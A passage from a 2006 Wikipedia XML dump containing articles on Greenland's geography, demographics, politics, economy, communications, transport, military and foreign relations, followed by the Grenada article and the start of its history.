      <timestamp>2002-05-19T11:25:39Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[History of Greenland]]</comment>
      <text xml:space="preserve">#redirect [[History of Greenland]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Greenland</title>
    <id>12120</id>
    <revision>
      <id>40566590</id>
      <timestamp>2006-02-21T13:58:50Z</timestamp>
      <contributor>
        <username>Jensbn</username>
        <id>90579</id>
      </contributor>
      <comment>fixes here and there - still needs some serious attention</comment>
      <text xml:space="preserve">[[Image:Greenland map.png|frame|right|Outline Map of Greenland with ice sheet depths]]
[[Image:Greenland.A2003233.1340.250m-2.jpg|thumb|right|300px|The [[fractal]] coastline of eastern Greenland, with its many fjords.]]

[[Greenland]], the largest [[island]] in the world, is located between the [[Arctic Ocean]] and the North [[Atlantic Ocean]], northeast of [[Canada]] and northwest of [[Iceland]]. Greenland has no land boundaries and 44,087 km of coastline.

The [[climate]] is [[Polar climate|arctic]] to [[Subarctic climate|subarctic]] with cool [[summer]]s and cold [[winter]]s. The terrain is mostly a flat but gradually sloping icecap that covers all land except for a narrow, mountainous, barren, rocky coast.  The lowest point is at [[sea level]], and the highest is [[Gunnbjørn]] (3,700 m).  The northernmost point of Greenland proper is [[Cape Morris Jesup]], discovered by Admiral [[Robert Peary]] in [[1909]]. [[Natural resource]]s include [[zinc]], [[lead]], [[iron]] ore, [[coal]], [[molybdenum]], [[gold]], [[platinum]], [[uranium]], [[fish]], [[seal (mammal)|seal]]s, and [[whale]]s.
==Area==
&lt;br&gt;''total:''
[[1 E12 m²|2,175,600 km²]]
&lt;br&gt;''land:''
2,175,600 km² (341,700 km² ice-free, 1,833,900 km² ice-covered) (est.)

'''Maritime claims:'''
&lt;br&gt;''exclusive fishing zone:''
200 [[nautical mile]]s
&lt;br&gt;''territorial sea:''
3 [[nautical mile]]s

==Land use==
&lt;br&gt;''arable land:''
0%
&lt;br&gt;''permanent crops:''
0%
&lt;br&gt;''permanent pastures:''
1%
&lt;br&gt;''forests and woodland:''
0%
&lt;br&gt;''other:''
99% (1993 est.)
==Irrigated land==
Not Applicable

==Natural hazards==
Continuous [[ice sheet]] covers 84% of the country; the rest is [[permafrost]].

[[image:greenlandNASA.jpg|250px|thumb|right|Detail of Greenland taken by NASA.]]
[[image:Sermeqkujadtlek.jpg|250px|thumb|right|Sermeq Kujatdlek Glacier at West Coast]]
[[image:Eastcoastgreenland1.jpg|250px|thumb|right|Nunatak mountains at East Coast]]

==Environment - current issues==
Protection of the arctic environment; preservation of the [[Inuit]] traditional way of life, including [[whaling]]; note - Greenland participates actively in [[Inuit Circumpolar Conference]] (ICC).

==Geography - note==
Sparse population confined to small settlements along coast; world's second largest [[ice sheet]].

==Climate change==

There is some concern about a contribution to [[sea level rise]] caused by ice melt from Greenland. Between 1997 and 2003 ice loss was 80 +/- 12 km(3) yr(-1), compared to about 60 km(3) yr(-1) for 1993/4-1998/9. Half of the increase was from higher summer melting, with the rest caused by velocities of some glaciers exceeding those needed to balance upstream snow accumulation (Krabill et al., L24402, GRL 2004).

==Extreme points==

This is a list of the '''extreme points of [[Greenland]]''', the points that are farther [[north]], [[south]], [[east]] or [[west]] than any other location.

'''''Greenland (nation)'''''

* Northernmost Point &amp;mdash; [[Kaffeklubben Island]] (83°40'N) - the [[Extreme points of the world|northernmost]] permanent land in the world.
* Southernmost Point &amp;mdash; [[Cape Farewell, Greenland|Cape Farewell]], [[Egger Island]] (59°46'N)
* Westernmost Point &amp;mdash; [[Cape Alexander, Greenland|Cape Alexander]] (73°08'W)
* Easternmost Point &amp;mdash; [[Nordostrundingen]], [[Greenland]] (12°08'W)

'''''Greenland (island)'''''

* Northernmost Point &amp;mdash; [[Cape Morris Jesup]] (83°39'N)
* Southernmost Point &amp;mdash; Peninsula near [[Nanortalik]]
* Westernmost Point &amp;mdash; [[Cape Alexander, Greenland|Cape Alexander]] (73°08'W)
* Easternmost Point &amp;mdash; [[Nordostrundingen]], [[Greenland]] (12°08'W)

==External link==
[http://www.geus.dk/program-areas/raw-materials-greenl-map/greenland/gr-map/kost_1-dk.htm www.geus.dk] Geological map of Greenland from the Geological Survey of Denmark and Greenland ( GEUS).



[[Category:Geography of Greenland| ]]
[[Category:Geography of Denmark| ]]

[[fr:Géographie du Groenland]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Greenland</title>
    <id>12121</id>
    <revision>
      <id>36609732</id>
      <timestamp>2006-01-25T06:26:19Z</timestamp>
      <contributor>
        <ip>69.3.55.145</ip>
      </contributor>
      <text xml:space="preserve">'''Population:'''
56,375 (July 2005 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
27% (male 7,718; female 7,483)
&lt;br&gt;''15-64 years:''
68% (male 20,860; female 17,272)
&lt;br&gt;''65 years and over:''
5% (male 1,332; female 1,644) (2000 est.)

'''Population growth rate:'''
0.09% (2000 est.)

'''[[Birth rate]]:'''
16.85 births/1,000 population (2000 est.)

'''[[Death]] rate:'''
7.55 deaths/1,000 population (2000 est.)

'''Net [[migration]] rate:'''
-8.38 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1 male(s)/female
&lt;br&gt;''under 15 years:''
1.03 male(s)/female
&lt;br&gt;''15-64 years:''
1.21 male(s)/female
&lt;br&gt;''65 years and over:''
0.81 male(s)/female
&lt;br&gt;''total population:''
1.13 male(s)/female (2000 est.)

'''Infant mortality rate:'''
18.26 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
68.07 years
&lt;br&gt;''male:''
64.52 years
&lt;br&gt;''female:''
71.69 years (2000 est.)

'''Total fertility rate:'''
2.45 children born/woman (2000 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Greenlander(s)
&lt;br&gt;''adjective:''
Greenlandic

'''Ethnic groups:'''
Greenlander 87% ([[Inuit]] and Greenland-born Europeans), Danish and others 13%

'''Religions:'''
Evangelical [[Lutheran]]

'''Languages:'''
[[Inuktitut|Greenlandic]] (East [[Inuit]] language), [[Danish language|Danish]], [[English language|English]]

'''Literacy:'''
&lt;br&gt;''definition:''
NA
&lt;br&gt;''total population:''
NA%
&lt;br&gt;''male:''
NA%
&lt;br&gt;''female:''
NA%
&lt;br&gt;''note:''
similar to [[Denmark]] proper

:''See also :'' [[Greenland]]

[[Category:Greenland]]
[[Category:People of Greenland]]
{{Greenland-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Politics of Greenland</title>
    <id>12122</id>
    <revision>
      <id>32397807</id>
      <timestamp>2005-12-22T20:22:05Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <comment>/* Political parties and elections */</comment>
      <text xml:space="preserve">{{Politics of Greenland}}
'''Politics of Greenland''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[Denmark|Danish]] [[dependency]], whereby the [[Prime Minister of Greenland|Prime Minister]] is the [[head of government]], and of a pluriform multi-party system. Greenland is a self-governing overseas administrative division of Denmark since [[1979]]. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and the [[Parliament of Greenland]] (known as Landsting). The party system is dominated by the social democratic [[Forward (Greenland)|Forward]], the separatist and socialist [[Inuit Community]] and the conservative liberal [[Feeling of Community]].
The [[Judiciary]] is independent of the executive and the legislature.

==Executive branch==
The monarch of [[Denmark]] is also head of state of Greenland. She is represented by a High Commissioner, appointed by her. The Prime Minister is elected by Parliament and leads the Landsstyre.
{{office-table}}
|Queen
|[[Margaret II of Denmark]]
|
|[[14 January]] [[1972]]
|-
|High Commissioner
|[[Gunnar Martens]]
|
|[[1995]]
|-
|[[Prime Minister of Greenland|Prime Minister]]
|[[Hans Enoksen]]
|[[Forward (Greenland)|Forward]]
|[[14 December]] [[2002]]
|-
|Other government party
|
|[[Inuit Community]]
|
|}

==Legislative branch==
Greenland has a [[unicameral]] [[Parliament]] or ''[[parliament of Greenland|Landsting]]'' (31 seats; members are elected by popular vote on the basis of proportional representation to serve four-year terms). Two representatives were elected to the Danish Parliament or [[Folketing]] at the last Danish elections, [[Siumut]] 1, [[Inuit Ataqatigiit]] 1.

==Political parties and elections==
{{elect|List of political parties in Greenland|Elections in Greenland}}
{{Greenland parliamentary election, 2005}}

==Judicial branch==
High Court or Landsret.

==Administrative divisions:==
3 districts (landsdele); [[Avannaa]] (Danish: ''Nordgrønland''), [[Tunu]] (Danish: ''Østgrønland''), [[Kitaa]] (Danish: ''Vestgrønland'')

== Diplomatic representations ==
With Denmark having responsibility for Greenland's international affairs, other countries do not have direct diplomatic representation in Greenland -- their embassies or consulates in Denmark are responsible for their relations with Greenland and their citizens in Greenland. Greenland is represented internationally by the embassies and consulates of Denmark, although Greenland does directly participate in some Nordic organisations which provide for membership for dependent territories.

==International organization participation==
[[Nordic Council]], [[Nordic Investment Bank]]

[[Category:Politics of Greenland| ]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Greenland</title>
    <id>12123</id>
    <revision>
      <id>26337698</id>
      <timestamp>2005-10-24T05:58:16Z</timestamp>
      <contributor>
        <username>Jimfbleak</username>
        <id>7872</id>
      </contributor>
      <minor />
      <comment>[[domestic sheep|sheep]]</comment>
      <text xml:space="preserve">'''Economy - overview:'''
Greenland suffered negative economic growth in the early 1990s, but since [[1993]] the economy has improved. The Greenland Home Rule Government (GHRG) has pursued a tight fiscal policy since the late [[1980s]] which has helped create surpluses in the public budget and low inflation. Since [[1990]], Greenland has registered a foreign trade deficit following the closure of the last remaining [[lead]] and [[zinc]] mine in 1990. Greenland today is critically dependent on [[fishing]] and [[fish]] exports; the [[shrimp]] fishery is by far the largest income earner. Despite resumption of several interesting [[hydrocarbon]] and [[minerals]] exploration activities, it will take several years before production can materialize. [[Tourism]] is the only sector offering any near-term potential and even this is limited due to a short season and high costs. The public sector, including publicly owned enterprises and the municipalities, plays the dominant role in Greenland's economy. About half the government revenues come from grants from the Danish Government, an important supplement of GDP.

'''[[Gross domestic product|GDP]]:'''
purchasing power parity - $945 million (1997 est.)

'''GDP - real growth rate:'''
0.6% (1997 est.)

'''GDP - per capita:'''
purchasing power parity - $16,100 (1997 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
NA%
&lt;br&gt;''industry:''
NA%
&lt;br&gt;''services:''
NA%

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
1.2% (1998 est.)

'''Labour force:'''
24,500 (1995 est.)

'''Unemployment rate:'''
10.5% (1995 est.)

'''Budget:'''
&lt;br&gt;''revenues:''
$706 million
&lt;br&gt;''expenditures:''
$697 million, including capital expenditures of $NA (1995)

'''Industries:'''
fish processing (mainly shrimp), handicrafts, furs, small shipyards

'''Industrial production growth rate:'''
NA%

'''Electricity - production:'''
245 GWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
100%
&lt;br&gt;''hydro:''
0%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
228 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
forage crops, garden [[vegetable]]s; [[domestic sheep|sheep]], [[reindeer]]; fish

'''Exports:'''
$363.4 million (f.o.b., 1995)

'''Exports - commodities:'''
fish and fish products 95%

'''Exports - partners:'''
[[Denmark]] 89%, [[Japan]] 5%, [[United Kingdom|UK]] 5%

'''Imports:'''
$421 million (c.i.f., 1995)

'''Imports - commodities:'''
machinery and transport equipment, manufactured goods, food and live animals, [[petroleum]] products

'''Imports - partners:'''
[[Denmark]] 7.5%, [[Iceland]] 3.8%, [[Japan]] 3.3%, [[Norway]] 3.1%, [[United States|US]] 2.4%, [[Germany]] 2.4%, [[Sweden]] 1.8%

'''Debt - external:'''
$243 million (1995)

'''Economic aid - recipient:'''
$427 million (annual subsidy from Denmark) (1995)

'''Currency:'''
1 [[Danish krone]] (DKr) = 100 oere

'''Exchange rates:'''
Danish kroner (DKr) per US$1 - 7.336 (January 2000), 6.976 (1999), 6.701 (1998), 6.604 (1997), 5.799 (1996), 5.602 (1995)

'''Fiscal year:'''
calendar year

:''See also :'' [[Greenland]]

[[Category:Greenland]]
[[Category:Economies by country|Greenland]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Greenland</title>
    <id>12124</id>
    <revision>
      <id>32374830</id>
      <timestamp>2005-12-22T16:53:53Z</timestamp>
      <contributor>
        <username>Redvers</username>
        <id>147458</id>
      </contributor>
      <minor />
      <comment>+Kalaallit Nunaata Radioa</comment>
      <text xml:space="preserve">There is by law, only 1 (one) service provider for tele communications and Internet in Greenland. It is TELE Greenland http://www.tele.gl&lt;br&gt;
This is one example of monopoly that is common in Greenland.
&lt;br&gt;
'''[[Telephone]]s - main lines in use:'''
20,000 (1995)

'''Telephones - mobile cellular:'''
2,308 (1995)

'''Telephone system:'''
There is adequate domestic and international service provided by cables and microwave radio relay; the system was totally digitalized in [[1995]].
&lt;br&gt;''domestic:''
microwave radio relay
&lt;br&gt;''international:''
2 coaxial submarine cables; [[satellite]] earth station - 1 [[Intelsat]] ([[Atlantic Ocean]])

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 5, FM 12, shortwave 0 (1998)

'''Radios:'''
27,000 (1997)

'''[[Television]] broadcast stations:'''
1 publicly-owned station, some local low-power stations, and three [[American Forces Network]]  ([[US Air Force]]) stations (1997)

'''Televisions:'''
22,000 (1997)

The state broadcaster is '''[[Kalaallit Nunaata Radioa]]''' or KNR, which provides one television and one radio service nationwide.

'''[[Internet Service Provider]]s (ISPs):'''
1 (1999)

'''[[Country code]] (Top-level domain):''' GL

:''See also :'' [[Greenland]]

{{greenland-stub}}

[[Category:Communications by country|Greenland]]
[[Category:Greenland]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Greenland</title>
    <id>12125</id>
    <revision>
      <id>40058772</id>
      <timestamp>2006-02-17T20:59:17Z</timestamp>
      <contributor>
        <username>Gcapp1959</username>
        <id>298824</id>
      </contributor>
      <comment>typo</comment>
      <text xml:space="preserve">The '''transport''' system in '''[[Greenland]]''' is very unusual in that it has no railways, no inland waterways and virtually no roads between towns. There is a total of 150 km of roads in the entire country; 60 km of the roads are paved. There is only one pair of towns that are connected by a road, Ivittuut and Kangilinnguit. The rest are isolated.  Historically the major means of transportation have been by boat round the coasts of the country in summer and by [[dog sled]] in winter, particularly in the north and east. There are ports at [[Kangerluarsoruseq]], [[Kangerlussuaq]], [[Nanortalik]], [[Narsarsuaq]], [[Nuuk]] (Godthåb) and [[Sisimiut]].

Following the ceding of operational control of Greenland to the [[United States]] by [[Denmark]] for the period in which that country was occupied by [[Germany]] during [[World War II]], [[airport]]s were built on the island. The airports were codenamed Bluie West One through to Bluie West Eight on the west of the island and Bluie East One to Bluie East Four on the eastern side. 

The largest of those airports, Bluie West Eight, now renamed [[Kangerlussuaq Airport]], remains the international hub for travel to Greenland, as it is the only airport that has a large enough runway to service [[jumbo jet]]s. American authorities at one time entertained the idea of building a road from Kangerlussuaq to the second largest airport, in Narsarsuaq, several hundred kilometres to the south. The idea was abandoned after feasibility studies failed to prove it was possible. 

Greenland now has a total of 18 airstrips, 14 of which are paved. All internal flights are operated by [[Air Greenland]]. The name was anglicized in 2002 from the [[Danish language|Danish]] Grønlandsfly. International flights are limited to thrice weekly flights from [[Copenhagen]] to Kangerlussuaq and also to Narsarsauq with Air Greenland. Icelandair fly from [[Reykjavík]] to Narsarsuaq and offer &quot;day trips to the wilderness&quot; from Reykjavík to [[Kulusuk]] on the east coast.

==See also==
*[[Greenland]]

[[Category:Transportation in Greenland| ]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Greenland</title>
    <id>12126</id>
    <revision>
      <id>41604527</id>
      <timestamp>2006-02-28T13:11:54Z</timestamp>
      <contributor>
        <username>Dismas</username>
        <id>152983</id>
      </contributor>
      <minor />
      <comment>make link direct</comment>
      <text xml:space="preserve">The [[Greenland Homerule]] does not have control of '''[[Greenland]]'s military or foreign affairs'''. The [[Defense (military)|defense]] of [[Greenland]] is therefore the responsibility of [[Denmark]].

However, the [[North Atlantic Treaty Organization]] (NATO) does realize the [[strategy|strategic]] value of Greenland, and may provide somewhat to its defense (the novel ''[[Red Storm Rising]]'' depicts such a scenario).  Greenland houses [[United States|America]]n and Danish military bases: the best-known is the American [[Thule Air Base]].

The Danish military has a dog sledge patrol called [[Sirius-patruljen]], which is headquartered in [[Daneborg]]. Greenland also has a [[coastguard]] that inspects the Greenlandic coast and carries out search and rescue operations.

==External links==
[http://members.eunet.at/castaway/stations/gro-stations.html Former and present military locations]

{{Mil-stub}}
{{Greenland-stub}}
[[Category:Militaries|Greenland]]
[[Category:Greenland]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Greenland</title>
    <id>12127</id>
    <revision>
      <id>35601576</id>
      <timestamp>2006-01-17T22:57:31Z</timestamp>
      <contributor>
        <username>Arcturus</username>
        <id>66675</id>
      </contributor>
      <minor />
      <comment>Minor copyedit</comment>
      <text xml:space="preserve">Being part of the Kingdom of [[Denmark]], the '''foreign relations of Greenland''' are handled in cooperation with the Danish Government and [[Greenlandic home rule authority]].

Unlike Denmark proper, Greenland is no longer part of the [[European Union]]. 

'''Disputes - international:''' [[Qaanaaq]] (formerly Thule) is a sensitive area.  Uncontested dispute with [[Canada]] over [[Hans Island]] sovereignty in the Kennedy Channel between Canadian [[Ellesmere Island]] and [[Greenland]].

:''See also :'' [[Greenland]]

{{greenland-stub}}

[[Category:Greenland]]</text>
    </revision>
  </page>
  <page>
    <title>Grenada</title>
    <id>12128</id>
    <revision>
      <id>41861996</id>
      <timestamp>2006-03-02T05:19:40Z</timestamp>
      <contributor>
        <username>Macellarius</username>
        <id>876801</id>
      </contributor>
      <minor />
      <comment>/* Demographics */</comment>
      <text xml:space="preserve">{{otheruses}}
{{Grenada infobox}}
'''Grenada''' is an [[island nation]] in the southeastern [[Caribbean Sea]] including the southern [[Grenadines]]. Grenada is the second-smallest independent country in the [[Western Hemisphere]] (after [[Saint Kitts and Nevis]]). It is located north of [[Trinidad and Tobago]], and south of [[Saint Vincent and the Grenadines]].

== History ==
''Main article: [[History of Grenada]]''

The recorded history of Grenada begins in [[1498]], when [[Christopher Columbus]] first sighted the island and named it ''Conception''. At the time of settlement, the island was occupied either by [[Caribs|Island Caribs]] (Kalinago) or by their mainland cousins, the Kariña.  After a failed [[Kingdom of England|English]] settlement attempt, the [[France|French]] 'purchased' the island from the indigenous people in [[1650]], which resulted in warfare with the Caribs of [[Dominica]] and [[St. Vincent]] who feared losing their trade routes to the mainland. The island was ceded to the [[United Kingdom]] in [[1763]] by the [[Treaty of Paris (1763)|Treaty of Paris]]. Grenada was made a [[Crown Colony]] in [[1877]].

The island was a province of the short-lived [[West Indies Federation]] from [[1958]] to [[1962]]. In 1967 Grenada attained the position of &quot;Associated State of the United Kingdom&quot;, which meant that Grenada was now responsible for her own internal affairs, and the UK was responsible for her defence and foreign affairs. Independence was granted in [[1974]] under the leadership of the then [[Eric Gairy|Premier Sir Eric Matthew Gairy]], who became the first [[Prime Minister of Grenada]].  Eric Gairy's government became increasingly authoritarian and dictatorial, prompting a ''[[Coup d'état|coup d'état]]'' in March [[1979]] by the charismatic and popular left-wing leader of the [[New Jewel Movement]], [[Maurice Bishop]]. Bishop's failure to allow elections, coupled with his [[Marxist-Leninist]] socialism and cooperation with communist [[Cuba]] did not sit well with the country's neighbours, including [[Trinidad and Tobago]], [[Barbados]], [[Dominica]] and the [[United States]]. A power struggle developed between Bishop and a [[Stalinist]] sect within the ruling [[People's Revolutionary Government (PRG)]], loyal to the more hardline communist ideologue and co-founder of the NJM, [[Bernard Coard]]. This led to Bishop's house arrest; he and many others were eventually executed at Fort George on [[October 19]], [[1983]].

Six days later, the island was invaded by forces from the United States at the behest of [[Eugenia Charles|Dame Eugenia Charles]], of Dominica. Five other Caribbean nations participated with Dominica and the USA in the campaign, called [[Operation Urgent Fury]]. Although the [[Governor-General]], [[Paul Scoon|Sir Paul Scoon]] later stated that he had requested the invasion, the governments of the United Kingdom and Trinidad and Tobago expressed anger at having not been consulted.  The forces quickly captured the ringleaders and hundreds of Cuban &quot;advisors&quot; (most of whom were labourers working on the construction of a major [[airport]] for the island, which the British completed a year later). A publicised tactical concern of the United States was the safe recovery of U.S. [[national]]s enrolled at [[St. George's University]]. However, it should be noted that the island of Grenada could have become a corner of a triangle comprised also of Cuba and Nicaragua, both also declared enemies of US interests at that time. These three countries could have militarily controlled the deep water passages, thereby controlling the movement of oil from [[Venezuela]] and [[Trinidad and Tobago]] (supplies then considered vital by US military planners).

In 2000-2002 much of the controversy of the late 1970s and early 1980s was once again brought into the public consciousness with the opening of the truth and reconciliation commission. The commission was chaired by a Catholic priest, [[Mark Haynes|Friar Mark Haynes]], and was tasked with uncovering injustices arising from the PRA, Bishop's regime, and before. It held a number of hearings around the country. The commission was formed, bizarrely, because of a school project. [[Robert Fanovich|Brother Robert Fanovich]], head of Presentation Brothers' College (PBC) in St. George's tasked some of his senior students with conducting a research project into the era and specifically into the fact that Maurice Bishop's body was never discovered. Their project attracted a great deal of attention, including from the [[Miami Herald]] and the final report was published in a book written by the boys called ''Big Sky, Little Bullet''. It also uncovered that there was still a lot of resentment in Grenadian society resulting from the era, and a feeling that there were many injustices still unaddressed. The commission began shortly after the boys concluded their project.

In [[2004]], the island after being hurricane free for 49 years, was directly hit by [[Hurricane Ivan]] ([[September 7]]). The [[category 4 hurricane]] caused 90 percent of the homes to be damaged or destroyed. The following year, 2005, [[Hurricane Emily]] ([[July 14]]) struck the island, causing an estimated [[USD]] $110 million ([[East Caribbean Dollar|EC$]] 297 million) worth of damage. This was much less damage than Ivan had caused.

Grenada has recovered with remarkable speed, due to her climate and the resilience of her people combined with much needed help from her neighbours, and financing from the world at large. By December 2005, 96% of all hotel rooms were to be open for business and to have been upgraded in facilities and strengthened to an improved building code.  The agricultural industry and in particular the nutmeg industry suffered serious losses, but that event has begun changes in crop management and the [[nutmeg]] industry may be returning to its pre-Ivan position as a major supplier in the western world.

== Politics ==
''Main article: [[Politics of Grenada]]''

As a [[Commonwealth Realm]], [[Queen Elizabeth II of the United Kingdom|Queen Elizabeth II]] is Queen of Grenada and Head of State. The Crown is represented by a [[List of Governors-General of Grenada|Governor-General]], who is currently [[Daniel Williams|Sir Daniel Williams]].  Day-to-day executive power lies with the Head of Government, the Prime Minister. Although appointed by the Governor-General, the Prime Minister is usually the leader of the largest faction in the Parliament.

The Parliament consists of a Senate (13 members) and a House of Representatives (15 members). The senators are appointed by the government and the opposition, while the representatives are elected by the population for 5-year terms. With 49.9% of the votes and 8 seats in the [[Grenada parliamentary election, 2003|2003 election]], the [[New National Party (Grenada)|New National Party]] remains the largest party in Grenada. The largest opposition party is the [[National Democratic Congress (Grenada)|National Democratic Congress]] with 45.1% of the votes and 7 seats.

Grenada is a full and participating member of both the [[Caribbean Community|Caribbean Community (CARICOM)]] and the [[Organisation of Eastern Caribbean States]] (OECS).

== Parishes ==
''Main article: [[Parishes of Grenada]]''

Politically, Grenada is divided into six parishes:

* [[Saint Andrew Parish, Grenada|Saint Andrew]]
* [[Saint David Parish, Grenada|Saint David]]
* [[Saint George Parish, Grenada|Saint George]]
* [[Saint John Parish, Grenada|Saint John]]
* [[Saint Mark Parish, Grenada|Saint Mark]]
* [[Saint Patrick Parish, Grenada|Saint Patrick]]

[[Carriacou and Petit Martinique]], two of the [[Grenadines]] have the status of dependency.

== Geography ==
''Main article: [[Geography of Grenada]]''

[[Image:Gj-map.gif|right|Map of Grenada]]

The island Grenada itself is the largest island; smaller Grenadines are [[Carriacou]], [[Petit Martinique]], [[Rhonde Island]], [[Caille Island]], [[Diamond Island]], [[Large Island]], [[Saline Island]] and [[Frigate Island]]. Most of the population lives on Grenada itself, and major towns there include the capital [[St. George's, Grenada|St. George's]], [[Grenville, Grenada|Grenville]] and [[Gouyave]]. Largest settlement on the other islands is [[Hillsborough, Grenada|Hillsborough]] on Carriacou.

The islands are of [[volcanic]] origin with extremely rich soil. Grenada's interior is very mountainous with Mount St. Catherine being the highest at 2,756 feet.  Several small [[river]]s with beautiful waterfalls flow into the sea from these mountains. The [[climate]] is tropical: hot and humid in the rainy season and cooled by the trade winds in the dry season.  Grenada being on the southern edge of the hurricane belt has suffered only 3 hurricanes in 50 years. Hurricane Janet passed over Grenada on 23 September 1955 with winds of 115 mph, causing severe damage. The most recent storms to hit have been Hurricane Ivan on [[September 7]], [[2004]] causing severe damage and 39 deaths and Hurricane Emily on [[July 14]], [[2005]] causing serious damge in Carriacou and in the north of Grenada which had been relatively lightly affected by hurricane Ivan.

== Economy ==
''Main article: [[Economy of Grenada]]''

Economic progress in fiscal reforms and prudent macroeconomic management have boosted annual growth to 5%-6% in [[1998]]-99; the increase in economic activity has been led by construction and trade. Tourist facilities are being expanded; [[tourism]] is the leading [[foreign exchange]] earner. Major short-term concerns are the rising fiscal deficit and the deterioration in the external account balance. Grenada shares a common [[central bank]] and a common [[currency]] (the [[East Caribbean Dollar]]) with seven other members of the [[Organisation of Eastern Caribbean States]] (OECS).

[[Image:NutmegGrenada-jhw.jpg|left|frame|Mace within nutmeg fruit]]Grenada is sometimes called '''spice island'''. [[Cinnamon]], [[cloves]], [[ginger]], [[mace (spice)|mace]], and [[nutmeg]] are important exports. There is a nutmeg on the nation's flag. 

The red lacy material in the photo is mace.  It is found between the nutmeg fruit and the nut itself.

== Demographics ==
''Main article: [[Demographics of Grenada]]''

About 80% of the population are descendants of the [[Africa]]n [[Slavery|slave]]s brought by the Europeans; no indigenous [[Carib]] and [[Arawak]] population survived the French purge at Sauteurs.  About 12% are descendants of the Indian indentured emigration to St. Lucia and Grenada which started in 1855 with the rest of a mixture of African Indian and European descent.

Grenada, like many of the Caribbean islands is subject to a large amount of migration, with a large amount of young people wanting to leave the island to seek life elsewhere. With less than 100,000 people living in Grenada, estimates and census data suggest that there are at least that number of Grenadian-born people in other parts of the Caribbean (such as Barbados and Trinidad) and at least that number again in 'first world' countries. Popular migration points for Grenadians further north include [[New York City]], [[Toronto]], [[London]] and [[Yorkshire]]. This means that probably around a third of those born in Grenada still live there.

The official language, [[English language|English]], is spoken by virtually everyone. Aside from a marginal community of Rastafarians living in Grenada, nearly all are Christians, about half of them [[Catholic Church|Catholics]]; [[Anglicanism]] is the largest [[Protestantism|Protestant]] denomination with Presbyterian and Seventh Day Adventist taking up the remainder.  Most Churches have demonination based schools but are open to all.  There is a small Muslim population mostly from old Iraqi immigrants who came many years ago and set up some merchant shops.

== Culture ==
''Main article: [[Culture of Grenada]]''

Although [[France|French]] influence on culture is much less than in other [[Caribbean islands]], surnames and place names in French remain and some French architecture has survived from the [[1700s]]. Island culture is heavily influenced by the [[African]] roots of most of the Grenadians but [[India|Indian]] influence is also seen with Dhal Puree, Goat and Chicken curry in the cuisine.

Foods aren't the only important aspect of Grenadian culture. Music, dance, and festivals are also extremely important. [[Soca]], [[calypso]], and [[reggae]] set the mood for Grenada's annual [[Carnival]] activities. The islanders' African heritage has also played an influential role in many aspects of Grenada's culture.

==References==
* Stark, James H. 1897. ''Stark's Guide-Book and History of Trinidad including Tobago, Grenada, and St. Vincent; also a trip up the Orinoco and a description of the great Venezuelan Pitch Lake''. Boston, James H. Stark, publisher; London, Sampson Low, Marston &amp; Company.

== See also ==
* [[Communications in Grenada]]
* [[Foreign relations of Grenada]]
* [[Military of Grenada]]
* [[Transportation in Grenada]]
* [[Past and present anarchist communities#Radicalism in Grenada.2C 1979 to 1983|Radicalism in Grenada 1979 to 1983]]

== External links ==
*[http://www.gov.gd Official Website of the Government of Grenada]
*[http://grenadagrenadines.com/ Official Website of the Grenada Board of Tourism]
*[http://www.carriacoupetitemartinique.com/ Carriacou Petite Martinique Tourism Association]
*[http://www.thegrenadarevolutiononline.com/ The Grenada Revolution online]
*[http://grenada-guide.info/ Grenada Travel Guide]
*[http://grenadatravelforum.com/ Grenada Travel Forum]
*[http://grenadaatl.org/ Grenada Atlanta Association]
*[http://www.divesitedirectory.com/caribbean_grenada.html Guide to scuba diving Grenada]
  http://www.gogouyave.com/ the official Website of Gouyave, Saint John


{{West_Indies}}
{{Caricom}}

[[Category:Grenada|*]]
[[Category:Caribbean]]
[[Category:CARICOM member states]]
[[Category:Caribbean countries]]
[[Category:Caribbean islands]]
[[Category:Monarchies]]
[[Category:Former British colonies]]
[[Category:Members of the Commonwealth of Nations]]

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[[zh:格林纳达]]</text>
    </revision>
  </page>
  <page>
    <title>History of Grenada</title>
    <id>12129</id>
    <revision>
      <id>39079540</id>
      <timestamp>2006-02-10T15:59:18Z</timestamp>
      <contributor>
        <username>Wetman</username>
        <id>21492</id>
      </contributor>
      <comment>link [[Hurricane Emily]]: anon. change of date confirmed ok</comment>
      <text xml:space="preserve">Before the arrival of Europeans, [[Grenada]] was inhabited by [[Carib]] Indians who had driven the more peaceful [[Arawaks]] from the island.  [[Christopher Columbus|Columbus]] landed on Grenada in [[1498]] during his third voyage to the new world.  He named the island &quot;Concepcion.&quot;  The origin of the name &quot;Grenada&quot; is obscure, but it is likely that [[Spain|Spanish]] sailors renamed the island for the city of [[Granada]].  By the beginning of the 18th century, the name &quot;Grenada,&quot; or &quot;la Grenade&quot; in [[French language|French]], was in common use.

